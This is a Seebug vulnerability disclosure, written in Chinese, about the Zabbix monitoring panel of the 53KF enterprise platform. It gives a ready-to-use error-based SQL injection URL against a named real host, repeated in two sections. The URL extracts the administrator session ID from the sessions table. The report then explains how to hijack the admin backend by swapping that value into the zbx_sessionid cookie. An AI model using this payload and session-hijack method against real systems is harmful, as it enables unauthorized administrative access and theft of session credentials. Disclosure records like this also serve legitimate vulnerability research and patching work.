53KF企业在线平台Zabbix注入和cookie欺骗漏洞

2014-04-25T00:00:00
ID SSV:94391
Type seebug
Reporter Root
Modified 2014-04-25T00:00:00

Description

简要描述:

怎么说呢.Zabbix的注入和cookie欺骗漏洞没修复,但是似乎被人黑了,然后把scripts补分改了.导致.无法执行命令. 但是还是可以看到许多敏感信息,更改一些设置.

详细说明:

http://zabbix.53rj.com.cn/httpmon.php?applications=2%20and%20%28select%201%20from%20%28select%20count%28%29,concat%28%28select%28select%20concat%28cast%28concat%28sessionid,0x7e,userid,0x7e,status%29%20as%20char%29,0x7e%29%29%20from%20zabbix.sessions%20where%20status=0%20and%20userid=1%20LIMIT%200,1%29,floor%28rand%280%292%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29 获取session ID替换本地cookie中的zbx_sessionid就进入后台了. http://zabbix.53rj.com.cn/scripts.php打开是空白,猜测已被黑,并且黑客改了内容,不想再被其他人入侵. 管理界面.

<img src="https://images.seebug.org/upload/201404/25010919cc3786deec9b24a4b08ca1df39af1278.jpg" alt="53KF-ZABBIX.jpg" width="600" onerror="javascript:errimg(this);">

漏洞证明:

http://zabbix.53rj.com.cn/httpmon.php?applications=2%20and%20%28select%201%20from%20%28select%20count%28%29,concat%28%28select%28select%20concat%28cast%28concat%28sessionid,0x7e,userid,0x7e,status%29%20as%20char%29,0x7e%29%29%20from%20zabbix.sessions%20where%20status=0%20and%20userid=1%20LIMIT%200,1%29,floor%28rand%280%292%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29 获取session ID替换本地cookie中的zbx_sessionid就进入后台了. http://zabbix.53rj.com.cn/scripts.php打开是空白,猜测已被黑,并且黑客改了内容,不想再被其他人入侵. 管理界面.

<img src="https://images.seebug.org/upload/201404/25010919cc3786deec9b24a4b08ca1df39af1278.jpg" alt="53KF-ZABBIX.jpg" width="600" onerror="javascript:errimg(this);">